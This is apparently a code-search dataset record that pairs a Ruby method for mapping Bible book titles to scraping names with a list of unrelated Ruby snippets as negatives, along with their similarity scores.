@fourth_story_text.passage.bytes.first > 90\n @valid = false #Each passage must begin with a capital letter\n $error_message = 'Make sure to began your sentences with a capital letter'\n end\n end\n @invalid_words.each do |word| #Check to see if any invalid words are included\n if @fourth_story_text.passage.bytes.each_cons(word.length).include? word\n @valid = false #If they are, reject passage\n $error_message = 'Please clean up your entry'\n end\n end\n if @valid\n @valid = false\n @required_words.each do |word|\n if @fourth_story_text.passage.bytes.each_cons(word.length).include? word.bytes\n @valid = true\n end\n end\n if !@valid\n $error_message = 'Try adding a charater to your passage'\n end\n end\n #Create a new story text model for the passage\n if @valid #If the passage has not been rejected\n respond_to do |format| #Add it to the story\n if(@fourth_story_text.save)\n format.html{redirect_to fourth_story_texts_path, notice: 'Story text was successfully created.'}\n format.json{render action: 'show', status: :created, location: @fourth_story_text}\n $update_post_time = true\n else\n format.html{render action: 'new'}\n format.json{render json: @fourth_story_text.errors, status: :unprocessable_entity}\n end\n end\n else\n redirect_to fourth_story_texts_path #Otherwise return\n end\n end", "def add_book(parsed_line, lib)\r\n\tparsed_line.each do |word|\r\n\t\tword.strip!\r\n\tend\r\n\t# and then add the data to the library\r\n\t# dont add the same author twice!\r\n\tadd_author = \"INSERT INTO authors (l_name, f_name) SELECT '#{parsed_line[0].gsub(\"'\"){\"''\"}}','#{parsed_line[1].gsub(\"'\"){\"''\"}}' WHERE NOT EXISTS(SELECT 1 FROM authors WHERE l_name = '#{parsed_line[0].gsub(\"'\"){\"''\"}}' AND f_name = '#{parsed_line[1].gsub(\"'\"){\"''\"}}')\"\r\n\tlib.execute(add_author)\r\n\t# but we will always add the book!\r\n\tadd_book = \"INSERT INTO books (title, section, on_shelf, author_id) VALUES ('#{parsed_line[2].gsub(\"'\"){\"''\"}}','#{parsed_line[4]}', '#{parsed_line[5]}', (SELECT id FROM authors WHERE l_name = '#{parsed_line[0].gsub(\"'\"){\"''\"}}' AND f_name = '#{parsed_line[1].gsub(\"'\"){\"''\"}}'))\"\r\n\tlib.execute(add_book)\r\n\tputs \"added #{parsed_line[2]} by #{parsed_line[1]} #{parsed_line[0]}\"\r\nend", "def stub_valid_text\n FileUtils.mkdir(\"/b\")\n File.open(\"/b/b_n000001_m.tif\", \"w\") do |f|\n f.puts(\"hohoho\")\n end\n Nyudl::Text::Base.new('/b', 'b')\n end", "def have_text(text)\n HaveText.new(text)\n end", "def scrape_verses(book, chapter, verse_number = 1) \n process_verse(book, chapter, verse_number) && scrape_verses(book, chapter, verse_number + 1)\n rescue OpenURI::HTTPError\n out false\n sleep(30)\n scrape_verses(book, chapter, verse_number)\n end", "def edit_verse()\n\n# @todo refactor to recognise file values using isMap rather than the string prefix\n# @todo refactor the Remove, Show, Read and Write use cases as well as this one.\n\n exit(100) unless has_line?()\n\n current_value = @verse[ @now_name ]\n\n# @todo instead of store and delete use the hash key rename method\n @verse.store( @new_name, current_value ) unless is_file?()\n @verse.store( \"#{Indices::INGESTED_FILE_LINE_NAME_KEY}#{@new_name}\", current_value ) if is_file?()\n\n @verse.delete( \"#{Indices::INGESTED_FILE_LINE_NAME_KEY}#{@now_name}\" )\n @verse.delete( @now_name )\n\n end", "def index_one(book_name)\n\n file = File.open( @dir_path+book_name, \"r\")\n\n puts \"Indexing #{book_name}\"\n file.each_line do |line|\n words = line.split\n words.each do |word|\n word = word.gsub(/[;.\"\"...,()?!*]+/i, \"\").downcase\n @connection.query(\"INSERT INTO #{@table_name} (word, count) VALUES ('#{@connection.escape(word)}', 1) ON DUPLICATE KEY UPDATE count=count+1\")\n\n end\n end\n\n puts \"Indexed #{book_name}\"\n end", "def prep(text)\n text = text.gsub /(http[s]?:\\/\\/[^ \\t]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\1</a> \"\n text = text.gsub /#([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://search.twitter.com/search?tag=\\\\1\\\">#\\\\1</a> \"\n text = text.gsub /@([^ \\t<:\\.\\?!@#=\\-_]+)[ \\t]?/, \"<a target=\\\"_BLANK\\\" href=\\\"http://twitter.com/\\\\1\\\">@\\\\1</a> \"\n end", "def makeTitle()\n title = ''\n while title == ''\n tmpTitle = @sentences[:dialogue][rand(@sentences[:dialogue].size - 1)]\n quotedSections = tmpTitle.scan(QUOTED_TEXT_REGEX)\n if !quotedSections.nil? && !quotedSections[0].nil?\n title = quotedSections[0][0].gsub(STRIP_FROM_TITLE_REGEX, '')\n end\n end\n return title\nend", "def cleanup_title(line)\n\n\t# title variable\n\ttitle = nil\n\n\t# splitting the line by \">\"\n\t# as the result should have 4 different strings\n\t# the tmp_4 war should contain title string\n\ttmp_1, tmp_2, tmp_3, tmp_4 = line.chomp.split(/>/)\n\n\t# ===============================================================\n\t# make the first letter of the string uppercase\n\tstr_up = tmp_4\n\tstr_up[0] = str_up[0].upcase\n\ttitle_tmp = str_up\n\t# ===============================================================\n\n\tif title_tmp.match(/^[\\A]/)\n\n\t\t# splitting up the title_tmp further\n\t\t# after splitting the first part of the title_tmp string should give back title\n\t\t# and the rest what left is the garbage string\n\t\ttitle_tmp_2, garbage = title_tmp.chomp.split(/[\\/\\()\\[\\]\\:\\_\\-\\+\\=\\*\\@\\![0-9]]/)\n\n\t\t# ===============================================================\n\t\t# Replace spaces within an empty char\n\t\tstr_no_sp = title_tmp_2.gsub(/\\s/,'')\n\t\tstr_no_sp = str_no_sp.gsub(/\\?/,'')\n\t\tstr_no_sp = str_no_sp.gsub(/\\!/,'')\n\t\tstr_no_sp = str_no_sp.gsub(/\\./,'')\n\t\tstr_no_sp = str_no_sp.gsub(/\\'/,'')\n\t\t\n\t\t# check if title matches the regular expression\n\t\treg_str = str_no_sp[/[a-zA-Z]+$/]\n\t\tis_equal = str_no_sp == reg_str # true or false\n\t\t# ================================================================\n\t\t\n\t\tif is_equal == true\n\t\t\tif title_tmp_2 != \"\"\n\t\t\t\t$counter_1 += 1\n\t\t\t\ttitle = title_tmp_2.downcase!.gsub(/\\s+$/,'')\n\t\t\t\ttitle = title.gsub(/\\.$/,'')\n\t\t\t\t#puts \"*********************\\n\"\n\t\t\t\t#puts \"[ENG][+]: #{title} ==> #{$counter_1}\"\n\t\t\t\t#puts \"*********************\\n\"\n\t\t\tend\t\n\t\telse\n\t\t\t$counter_2 += 1\n\t\t\t#puts \"*********************\\n\"\n\t\t\t#puts \"[NON-ENG][-]: #{title_tmp_2} ==> #{$counter_1}\"\n\t\t\t#puts \"*********************\\n\"\n\t\tend\n\tend\n\n\t# return cleaned up title string\n\treturn title;\n\nend", "def cloze_text(text)\n tagger = EngTagger.new\n note_with_tags = tagger.get_readable(text).split(' ')\n # Find the word_pairs in the note that we'll hide.\n candidate_words_to_hide_with_tag = Set.new\n note_with_tags.each do |word_tag_pair|\n _, tag = word_tag_pair.split('/')\n # Hide numbers and proper nouns.\n if tag == 'CD' || tag == 'NNP'\n candidate_words_to_hide_with_tag.add(word_tag_pair)\n end\n end\n # Shuffle the set so that we don't hide the first N words, but randomly dispersed words.\n candidate_words_to_hide_with_tag =\n Set.new(candidate_words_to_hide_with_tag).to_a.sample(MIN_WORDS_TO_HIDE + MAX_WORDS_TO_HIDE)\n # Build the content and hide candidates.\n card_content = ''\n hide_count = 0\n # This is non-sense that I hope we can remove one day.\n # Cloze must have at least 1 deletion so if there are no candidates above we hide the first word.\n note_with_tags.each_with_index do |word_tag_pair, index|\n word, tag = word_tag_pair.split('/')\n is_first_index = index.zero?\n can_add_space = !is_first_index && !POS_PUNCTUATION.include?(tag) # Not punctuation\n if (candidate_words_to_hide_with_tag.member?(word_tag_pair) && hide_count < MAX_WORDS_TO_HIDE) ||\n (candidate_words_to_hide_with_tag.empty? && hide_count == 0)\n hide_count += 1\n word = \"{{c1::#{word}}}\"\n end\n card_content << ' ' if can_add_space\n card_content << word\n end\n card_content\nend", "def learn(data_store, input)\n data_store.transaction do |store|\n @tagger.get_sentences(input).each do |sentence|\n tag(@tagger, sentence.titleize) do |token, tag|\n store.execute('INSERT OR IGNORE INTO post_tokens(token, tag) VALUES(?, ?)', [token, tag]) if token.size >= 3\n end\n\n store.execute('INSERT OR IGNORE INTO post_sentences(sentence) VALUES(?)', sentence)\n end\n end if should_learn(@tagger, input)\n end", "def chapters_matching(query)\n results = []\n return results unless query\n\n each_chapter do |number, name, contents|\n matches = {}\n contents.split(\"\\n\\n\").each_with_index do |paragraph, index|\n matches[index] = paragraph if paragraph.include?(query)\n end\n results << {number: number, name: name, paragraphs: matches} if matches.any?\n end\n results\nend", "def add_srt_data(text)\n language = Language.detect(text)\n text.gsub(/\\r\\n/, \"\\n\").split(/\\n\\n/).each do |block|\n index, times, text = block.split(/\\n/, 3)\n start_time, end_time = parse_srt_times(times)\n # TODO: Is this the best way to add records to an unsaved has_many?\n self.subtitles <<\n Subtitle.new(playable_media: self, language: language,\n start_time: start_time, end_time: end_time,\n text: text.chomp)\n end\n end", "def get_text(url, pdf_path)\n begin\n text = File.read(\"../text/\"+pdf_path.gsub(\".pdf\", \".txt\")).to_s\n puts \"Text Found\"\n # Extract from website if it isn't there already\n rescue\n begin\n text = \"\"\n puts \"Getting \"+ url\n text = open(url).read\n \n File.write(\"../text/\"+pdf_path.gsub(\".pdf\", \".txt\"), text)\n puts \"Wrote #{text}\"\n rescue\n end\n end\n\n return text.gsub(\"<p data-reactid=\\\".ti.1.0.0.1.0.1.$0.0\\\" class=\\\"SidTodayFilesDetailViewer-pages-page-paragraph\\\">\", \"\")\n end", "def initialize(text)\n @text = text.dup\n @paragraphs = text.split(/\\n\\s*\\n\\s*/)\n @sentences = Lingua::EN::Sentence.sentences(@text)\n @words = []\n @frequencies = {}\n @frequencies.default = 0\n @syllables = 0\n @complex_words = 0\n count_words\n end", "def deceased_vet\n @deceased_vet ||= create(\n :veteran,\n file_number: 54_545_454,\n first_name: \"Jane\",\n last_name: \"Deceased\"\n )\n end", "def stub_collision_text\n FileUtils.mkdir(\"/b\")\n File.open(\"/b/b_000001m.tif\", \"w\") do |f|\n f.puts(\"hohoho\")\n end\n File.open(\"/b/b_n000001_m.tif\", \"w\") do |f|\n f.puts(\"hehehe\")\n end\n Nyudl::Text::Base.new('/b', 'b')\n end", "def create_vote_from_tweet tweet\n begin\n valid = false\n # see if the user already has made a valid vote\n valid_vote = Vote.find_by_voter_id_and_poll_id_and_is_valid(tweet.from_user_id, id, true)\n raise InvalidVoteError.new(\"One vote allowed per poll.\") if valid_vote\n answer_abbr = nil\n abbreviations.each do |abbr|\n # puts \"tweet.text #{tweet.text}\"\n # puts \"abbr #{abbr}\"\n if CGI.unescape(tweet.text.downcase) =~ /(^|[^\\w])#{abbr.downcase}[^\\w]*/\n raise InvalidVoteError.new(\"It contains more than one valid answer.\") if answer_abbr\n answer_abbr = abbr\n end\n end\n if answer_abbr\n valid = true\n else\n raise InvalidVoteError.new(\"It does not contain a valid answer.\")\n end\n rescue Exception\n raise $!\n ensure\n vote = Vote.create!( :poll_id=>id, :answer_abbr=>answer_abbr, :tweet_id=>tweet.tweet_id, :voter_id=>tweet.from_user_id, :voter_name=>tweet.from_user, :text=>tweet.text, :profile_image_url=>tweet.profile_image_url, :to_user_id=>tweet.to_user_id, :tweet_created_at=>tweet.created_at, :is_valid=>valid )\n end\n vote\n end", "def plain_text\n _search_parts_keys(/plain/i)\n end", "def parse(file)\n if @db.nil?\n return\n end\n\n begin\n @db.transaction\n @db.execute \"DROP INDEX IF EXISTS idx_markov_phrase\"\n IO.readlines(file).map {|l| insert(l)}\n @db.execute \"CREATE INDEX idx_markov_phrase ON markov(phrase)\"\n @db.commit\n rescue\n puts \"error reading #{file}\"\n @db.rollback\n end\n end", "def parse_text(text)\n\n end", "def gensecretword \n @wordtable.sample.gsub(/\\s+/, \"\") # revoving all whitespaces as wordfile has phrases as possible secret words\nend", "def import\n print 'Import filename: '\n $stdout.flush\n file = gets.chomp\n fd = File.new(file, \"r\")\n itecky = file.rindex('.')\n raise 'missing dot in filename' if itecky == nil\n fname = file[0,itecky]\n fname.upcase!\n puts\n fd.each do\n |row|\n if row.strip.length == 0 or row[0,1] == '*' or row[0,1] == '#'\n next\n end\n row.chomp!\n items = row.split # deleni row na polozky oddelene mezerou\n nitems = items.length # pocet polozek\n raise \"only one word on the line\\n[#{row}]\" if nitems == 1\n if nitems == 2 # slovicka bez oddelovaci carky\n en = items[0]\n cz = items[1]\n else # slovicka a fraze s oddelovaci carkou\n i = row.index(' - ') # oddelovac anglickeho a ceskeho vyrazu\n raise \"missing ' - ' between English and Czech phrases\\n[#{row}]\" if i == nil\n en = row[0,i+1].strip # prvni cast radku - anglicka\n cz = row[i+3..-1].strip # druha cast radku - ceska\n end\n flag = false\n for iw in 0 ... $words.length do\n if $words[iw].fname == fname and\n ($words[iw].english == en or $words[iw].czech == cz) then\n flag = true\n break\n end\n end\n if flag == true then next end\n $words << Word.new(fname,0,0,en,cz)\n w = konverze($words.last.english + ' | ' + $words.last.czech)\n puts w\n end\n puts\n $stdout.flush\nend", "def page_should_have_content_create_your_own_league\n\n page.should have_content(read_file_content(CREATE_YOUR_OWN_LEAGUE_PATH))\n sleep(THREAD_SLEEP_1)\n\n end", "def from_s(text)\r\n\t\t@root_vob = \"\"\r\n\t\t@branch = \"\"\r\n\t\t@tag = \"\"\r\n\t\t@checks = []\r\n\t\t@vobs_cfg = {}\r\n\r\n\t\ttext.lines.each do |line|\r\n\t\t\tnext if ! (line =~ /^\\s*element\\s+(.*)/)\r\n\t\t\te = $1.split(/\\s+/)\r\n\t\t\te[0] =~ /[\\/\\\\]([^\\/\\\\]+)[\\/\\\\]\\.\\.\\./\r\n\t\t\tvob = $1\r\n\t\t\ttag = e[1]\r\n\t\t\t\r\n\t\t\tnext if !vob || !tag\r\n\t\t\t@vobs_cfg[vob] = tag\r\n\t\tend\r\n\tend", "def verses(starting, ending)\n (starting..ending).each do |verse|\n verse.join(\"\\n\")\n end\n end", "def append(text); end", "def analyze\n analyze_text\n @analyzed = true\n nil\n end", "def testNormalWithKnownContent\n initTestCase do\n $Context[:WikiContent] = \"UnknownContent - Line 1\\n=== Current ===\\n\\nUnknownContent - Line 3\"\n $Context[:NewWikiContentRegExp] =\n Regexp.escape(\"UnknownContent - Line 1\\n=== Current ===\\n\\n* <code><small>[\") +\n '....-..-.. ..:..:..' +\n Regexp.escape(\"]</small></code> - Commit DummyCommitID by DummyCommitUser: DummyCommitComment\\nUnknownContent - Line 3\")\n execTest(\n 'DummyUserID',\n [\n 'BranchName',\n 'DummyCommitID',\n 'DummyCommitUser',\n 'DummyCommitComment'\n ]\n )\n end\n end" ]
[ "0.59089994", "0.58481884", "0.5305883", "0.5245764", "0.5184551", "0.51656747", "0.5018844", "0.49730462", "0.49343687", "0.492669", "0.49102795", "0.4910154", "0.48817116", "0.48749453", "0.48701695", "0.48669863", "0.48545125", "0.48519042", "0.4844091", "0.48378724", "0.4832183", "0.48238286", "0.48165596", "0.48120642", "0.47807473", "0.4776518", "0.47751406", "0.47734192", "0.47707695", "0.4762305", "0.4750104", "0.47485274", "0.47373974", "0.4736068", "0.47325677", "0.47231048", "0.47074643", "0.47069535", "0.46824703", "0.46820956", "0.46706566", "0.46666315", "0.46530607", "0.4634602", "0.46290818", "0.46281096", "0.46263206", "0.46263206", "0.46240196", "0.46162578", "0.46144733", "0.46144515", "0.46024966", "0.45967543", "0.45917308", "0.45874986", "0.458715", "0.4581721", "0.45635173", "0.45589724", "0.45581302", "0.45556504", "0.45391825", "0.45337158", "0.4528334", "0.45242062", "0.45197403", "0.45169547", "0.45096308", "0.45096272", "0.4509207", "0.45070916", "0.45027137", "0.4502283", "0.45011383", "0.44983643", "0.4497481", "0.449644", "0.44914702", "0.44903484", "0.44890964", "0.4479988", "0.4479971", "0.44755626", "0.4468488", "0.44626203", "0.44598207", "0.44541514", "0.44518906", "0.44385743", "0.44372007", "0.4435245", "0.44350898", "0.44336966", "0.44334316", "0.44300646", "0.44268733", "0.44239506", "0.44202295", "0.44064406" ]
0.5777098
2
Gets the book mapping name for the scraping puposes
def book_mapping(book) title = book.title.downcase.gsub(/\s+/, '') CONFIG[:sources][translation][:mappings][title] || title end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def missing_mappings\n books_with_missing_mapping.map(&:title)\n end", "def map_name; end", "def map_name; $game_temp.map_names[@map_id]; end", "def get_name_mapping(pdfs_filename)\n raise \"call abstract method 'get_name_mapping(pdfs_filename)', please implement it in the subclass!\"\n end", "def books_with_missing_mapping\n Bible::Book.all.select do |book|\n mapping = book_mapping(book)\n Rails.logger.info(\"Mapping Check: #{book.title}\")\n begin\n out scrape_verse(mapping, 1, 2), true\n rescue OpenURI::HTTPError\n out false, true\n end\n end\n end", "def name\n @doc.css('map').attr('name').value\n end", "def book_title\n self.part_of_title_by_type('Book')\n end", "def address_book_name\n end", "def get_library_book_name_by_id(target_book_id)\n\t\[email protected] do |book|\n\t\t\tif book.book_id == target_book_id.to_i then\n\t\t\t\treturn book.book_name\n\t\t\tend\n\t\tend\n\tend", "def map_name(id)\n (load_data(\"Data/MapInfos.rvdata2\").find { |map| map[1].parent_id = id })[1].name\n end", "def book_pages\n\t\t@book = {\n\t\t\t\t\"sketch\" =>\n\t\t\t\t\"\t\t\t\t------------------------------------------\n\t\t\t\t| |\n\t\t\t\t| ----- |\n\t\t\t\t| / _ \\\\ |\n\t\t\t\t| / | | \\\\ |\n\t\t\t\t| --------- |\n\t\t\t\t| |\n\t\t\t\t| ____ _____ |\n\t\t\t\t| / \\\\____ /| \\\\__ |\n\t\t\t\t| / \\\\_____/ | \\\\_______ |\n\t\t\t\t| _____ |____ |\n\t\t\t\t| / \\\\____ /* \\\\__ |\n\t\t\t\t| / \\\\_____/ \\\\_______ |\n\t\t\t\t| |\n\t\t\t\t| |\n\t\t\t\t| _ |\n\t\t\t\t| / \\\\__ ___ |\n\t\t\t\t| /__/ \\\\/ \\\\ |\n\t\t\t\t| /____\\\\____\\\\ |\n\t\t\t\t| |\n\t\t\t\t| |\n\t\t\t\t ------------------------------------------\",\n\n\t\t\t\t \"page1\" =>\n\t\t\t \t\"\t\t\t\t------------------------------------------\n\t\t\t\t| |\n\t\t\t\t| |\n\t\t\t\t| -oday-- met a ------------- loca- |\n\t\t\t\t| trib----- confirme------uspicions. |\n\t\t\t\t| Now I kn---how---------tr--sur-----. |\n\t\t\t\t| |\n\t\t\t\t| ---gh- |\n\t\t\t\t| m---? |\n\t\t\t\t| |\n\t\t\t\t| R----R--Y----B- |\n\t\t\t\t ------------------------------------------\",\n\n\t\t\t}\n\tend", "def name\n return @map_infos[@map_id].name\n end", "def name\n @address_book_info['uri']\n end", "def book_title(book, works: book.works)\n author_aliases = works.find_all(&:title?).uniq(&:person_alias_id).map do |work|\n person_alias(work.person_alias)\n end\n\n \"#{author_aliases.join \", \"} «#{book.title}»\"\n end", "def booktitle(p)\n return p.fields.find {|f| f.name == \"Booktitle\"}.value\nend", "def book_info(book_title)\n for book in @books\n return book if book[:title] == book_title\n end\n return nil\n end", "def page_name\n # return the name if name starts with a digit\n return name if name =~ /^\\s*\\d+.*$/ || !sg_parent\n pos = 0\n sg_parent.pages.each_with_index do |p, i|\n if self.id == p.id\n pos = i + 1\n break\n end\n end\n \"#{pos} #{name}\"\n end", "def homepage_book_options\n books.map do |book|\n [book.name, Rails.application.routes.url_helpers.book_path(book.slug)]\n end\n end", "def page_name(symbol)\n BestiaryConfig::VOCAB_PAGES[symbol]\n end", "def page_name(symbol)\n end", "def site_name\n name = @doc.xpath(\"//div[@id='map']//h1/span/text()\").to_s\n sanitize name\n end", "def get_book(book_num)\n return @books_list[book_num]\n end", "def final_map_name\n \"#{@province.name}.geojson\"\n end", "def booklist\n\t\treturn '@selftype' + '@title.each do |title|,'\n\tend", "def to_s\n @mapping.fetch :name\n end", "def ScrapPkmn(p1, p2, outdir)\n\tFileUtils.mkpath(outdir);\n\n\tpageURL = \"http://pokemon.alexonsager.net/#{p1}/#{p2}\";\n\timgURL = \"http://images.alexonsager.net/pokemon/fused/#{p2}/#{p2}.#{p1}.png\";\n\toutName = \"#{outdir}/#{p1}_#{p2}_name.txt\";\n\toutImg = \"#{outdir}/#{p1}_#{p2}.png\";\n\n\tdoc = Nokogiri::HTML(open(pageURL));\n\tname = doc.xpath('//*[@id=\"pk_name\"]');\n\n\tFile.write(outName, \"#{name[0].content()}\\n\");\n\t`curl #{imgURL} > \"#{outImg}\"`\nend", "def name\n return @poco_data[:name] unless @poco_data == nil\n pick_first_node(@poco.xpath('./poco:name'))\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', :response_group => 'Large,Reviews,Similarities' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return parse_item( item )\n end\n end", "def slug\n slugAttr = @doc.css('map').attr('slug')\n return slugAttr.nil? ? name.gsub(/[\\s]/, '-').mb_chars.normalize(:c).gsub(/[^\\w-]/n, '').to_s.downcase : slugAttr.value\n end", "def name; (page.title rescue ''); end", "def name; (page.title rescue ''); end", "def book_title\n @book_title\n end", "def name\n @page.name\n end", "def reverse_mapping\n {\n 0 => \"general\",\n 4 => \"character\",\n 3 => \"copyright\",\n 1 => \"artist\",\n 5 => \"meta\",\n }\n end", "def get_book_details(title)\n for book in @all_books\n return book if book[:title] == title\n end\n end", "def book\n fetch('harry_potter.books')\n end", "def map_name\n return \"Flights\"\n end", "def title\n\t\t@book\n\tend", "def get_book_title(book)\nend", "def get_page_name\n # TODO: Get from content.\n @name.match(/.*?-(.+)\\./)[1]\n end", "def name\n read_attribute(:name).presence || page&.name\n end", "def name\n read_attribute(:name).presence || page&.name\n end", "def getArea(book, lookup)\n if book.key?(lookup)\n areacode = book[lookup]\n puts \"The area code for #{lookup} is #{areacode}.\"\n else\n puts \"#{lookup} not found in book, please try again or type view to see available cities.\"\n end\nend", "def book_by_title(title)\n\t\t\tresponse = request('/book/title', :title => title)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "def get_book\n return input_title = @inventory\n end", "def bib_title\n @bib_entity.fetch('Titles', {}).find{|item| item['Type'] == 'main'}['TitleFull']\n end", "def get_name(pokemon)\n pokemon['species']['name']\nend", "def map_name=(_arg0); end", "def reverse_get mapping\n (@map.rassoc(mapping) || (raise \"#{mapping} is not a mapping of a registered id\"))[0]\n end", "def parser_to_name(parser_name)\n parser_name.split(\"_\").map(&:capitalize).join(\" \")\nend", "def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end", "def url_generator\n\t\t@page_name = PAGE_NAME_PART_1 + @movie_type + PAGE_NAME_PART_2 + @page_num.to_s + PAGE_NAME_PART_3\n\tend", "def book\n 'Book' if record.leader[6] == 'a' && record.leader[7] == 'm' && local_formats.include?('Archives/Manuscripts')\n end", "def name\n self.pcb_name + ' / ' + self.pcba_name\n end", "def bib_source_title\n @bib_part.fetch('BibEntity',{}).fetch('Titles',{}).find{|item| item['Type'] == 'main'}['TitleFull']\n end", "def name\n permalink\n end", "def search_title_scrape\n @doc.search('b')[2..6].each do |name|\n @names << name.text\n end\n search_description_scrape\n end", "def do_map_name\r\n self[@symbol] ||\r\n do_target_class_map ||\r\n do_target_object_map ||\r\n do_target_vm_map ||\r\n do_object_class_map ||\r\n do_global_map\r\n end", "def jurisdiction_name oc_code\n oc_code = \"oc_#{oc_code}\" unless oc_code.to_s.match?(/^oc_/)\n Card.fetch_name oc_code.to_sym\n end", "def getPageKey\n if @formatted_name.nil?\n @formatted_name = @humanly_name.split(/\\./)[0].gsub(%r{\\s},WHITE_SPACE).gsub(%r{[/<>+]}, WHITE_SPACE).downcase + '.' + @file_extension\n end\n return @formatted_name\n end", "def get_name(page)\n # Get the line that has the player's name\n name = page.grep(/og:title/)\n # Make the name the beginning of the line\n name1 = name[0][35..-1]\n # Get just the name (the first two words)\n name2 = name1.split[0..1].join(' ')\n # Replace the HTML escape for ' with '\n name2.gsub('&#39;',\"'\")\n end", "def get_name(page)\n # Get the line that has the player's name\n name = page.grep(/og:title/)\n # Make the name the beginning of the line\n name1 = name[0][35..-1]\n # Get just the name (the first two words)\n name2 = name1.split[0..1].join(' ')\n # Replace the HTML escape for ' with '\n name2.gsub('&#39;',\"'\")\n end", "def grade_mapping(grade)\n grade_arr = ['Early Pre-K', 'Pre-K', 'Kindergarten', '1st', '2nd', '3rd', '4th', '5th', '6th']\n ((grade_arr.index grade) + 2).to_s\n end", "def jurisdiction_name oc_code\n oc_code = \"oc_#{oc_code}\" unless oc_code.to_s.match?(/^oc_/)\n Card.fetch_name oc_code.to_sym\nend", "def get_map_names\n\t\tidMapas = params[:idMaps].split(\"|\")\n\t\tmapas = DecisionMap.where(id: idMapas)\n\n\t\tcontent = []\n\n\t\tmapas.each do |mapa|\n\t\t\tcontent.push(mapa.name << ' - ' << mapa.description)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\t# ES: Envia el texto:\n\t\t\t# EN: Send the text\n\t\t\tformat.json {render json: content}\n\t end\n\tend", "def title\n document.search(\".bookTitle\").innerHTML.strip rescue nil\n end", "def mapping\n {key => name}\n end", "def _name\n @link['name']\n end", "def wikified_name\n self.name.slice(0,1).capitalize + self.name.slice(1..-1).gsub(/ /, '_')\n end", "def findAccession(name)\n if arr = @obo[name]\n arr\n else\n# @missedMappings << name\n# [\"\", \"\"]\n @non_obo_mappings << name\n [\"\", name]\n end\n end", "def allocated_pom_name\n @allocation.primary_pom_name.titleize\n end", "def mp_trip_pages\n pages = Hash.new\n doc = utf_page \"w5_show?p_r=6151&p_k=1\"\n \n doc.search(\"//a[@class='doc_l']\").each do |x|\n mp_name = x.inner_text # cia vardas su skliaustuose esanciu kelioniu skaicum Vardas Pavarde (3/1)\n if mp_name.include? ')'\n pages[mp_name[0,mp_name.index('(')-1]] = denormalize( x.attributes['href'] )\n end\n end\n return pages\n end", "def getTitle(book)\n book['volumeInfo']['title']\nend", "def name\n self.title.downcase.split(' ').join(\"_\")\n end", "def pcb_name\n \"#{self.pcb_prefix}-#{self.pcb_number}-#{self.pcb_dash_number}\"\n end", "def find_lord_from_url(name, url)\n #puts \"Looking for lord #{name} in #{url}\"\n # Retrieve a list of lords from parlparse\n lords_html = ScraperWiki.scrape(url)\n lords_doc = Nokogiri::HTML(lords_html)\n # Build a list of names for easy comparison\n lords = {}\n lords_doc.css('lord').each do |l| \n lords[l['title'].downcase+\" \"+l['lordname'].downcase] = l\n unless l['forenames'].nil? \n lords[l['title'].downcase+\" \"+l['forenames'].downcase+\" \"+l['lordname'].downcase] = l\n end\n end\n lords[name.downcase]\nend", "def find_lord_from_url(name, url)\n #puts \"Looking for lord #{name} in #{url}\"\n # Retrieve a list of lords from parlparse\n lords_html = ScraperWiki.scrape(url)\n lords_doc = Nokogiri::HTML(lords_html)\n # Build a list of names for easy comparison\n lords = {}\n lords_doc.css('lord').each do |l| \n lords[l['title'].downcase+\" \"+l['lordname'].downcase] = l\n unless l['forenames'].nil? \n lords[l['title'].downcase+\" \"+l['forenames'].downcase+\" \"+l['lordname'].downcase] = l\n end\n end\n lords[name.downcase]\nend", "def map_teamnames\n home = self.bookmaker.teamnames.find_or_create_by_name(self.home_name)\n away = self.bookmaker.teamnames.find_or_create_by_name(self.away_name)\n\n self.home_id = home.id unless home.nil?\n self.away_id = away.id unless away.nil?\n end", "def book_level_handles\n book_level_handles = {}\n\n @heb_ids.each do |heb_book_id|\n book_level_handles[\"2027/#{heb_book_id}\"] = Rails.application.routes.url_helpers.hyrax_monograph_url(@noid)\n end\n\n book_level_handles\n end", "def get_borrower(book_id)\n #Runs through all books in the library and finds the one\n #that matches the id, then looks at the borrower\n #Currently no error protection if the book isn't borrowed\n @books.each do |book|\n return book.borrower.first.name if book.id == book_id\n end\n end", "def lifter_names_gym\n lifters_gym.map do |lifter|\n lifter.name\n end\n end", "def get_pagename(permalink)\n\t\tpermalink.gsub('_', ' ').capitalize\n\tend", "def get_pagename(permalink)\n\t\tpermalink.gsub('_', ' ').capitalize\n\tend", "def toy_name toy\n\t$toy_name = toy[\"title\"]\nend", "def get_map_name(id=\"map\")\n return \"lh_#{id}\"\n end", "def info_by_title(title)\n for book in @array_of_books\n return book if :title == title\n end\n end", "def name\n read_attribute(:name) || self.page.try(:title) || self.url\n end", "def mapping_from_name(name)\n const_get(\"#{name}_mapping\".upcase)\n end", "def book_title\n self.title\n end", "def get_place_name(node_children)\n node_children.each do |child_of_node|\n if child_of_node.class == Nokogiri::XML::Element\n return child_of_node.children[0].text\n end\n end\n return \"unknown\"\n end", "def source_mapping_url\n return if associate_page_failed?\n\n Addressable::URI.encode(sass_page.basename + \".css.map\")\n end", "def get_book_content\n\n get_book_name\n\n @bookRootObj.xpath(\"//paras\").children.each do |child|\n\n if child.name == \"p\" then\n get_p_info child\n elsif child.name == \"mp\" then\n get_mp_info child\n else\n #raise StandardError, \"Can't get this tag <#{child.name}>.\"\n end\n end\n end", "def odsa_books\n inst_books\n end", "def look_up_title(result)\n case name\n when \"IGN\"\n return result.children.to_s.strip\n when \"GameSpot\"\n if result.children.count > 1\n return result.children[1].children[1].children[1].attributes[\"alt\"].value.strip \n end\n when \"GiantBomb\" \n if result.children.count > 1\n return result.children[1].children[1].attributes[\"alt\"].value.strip\n end\n end\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def 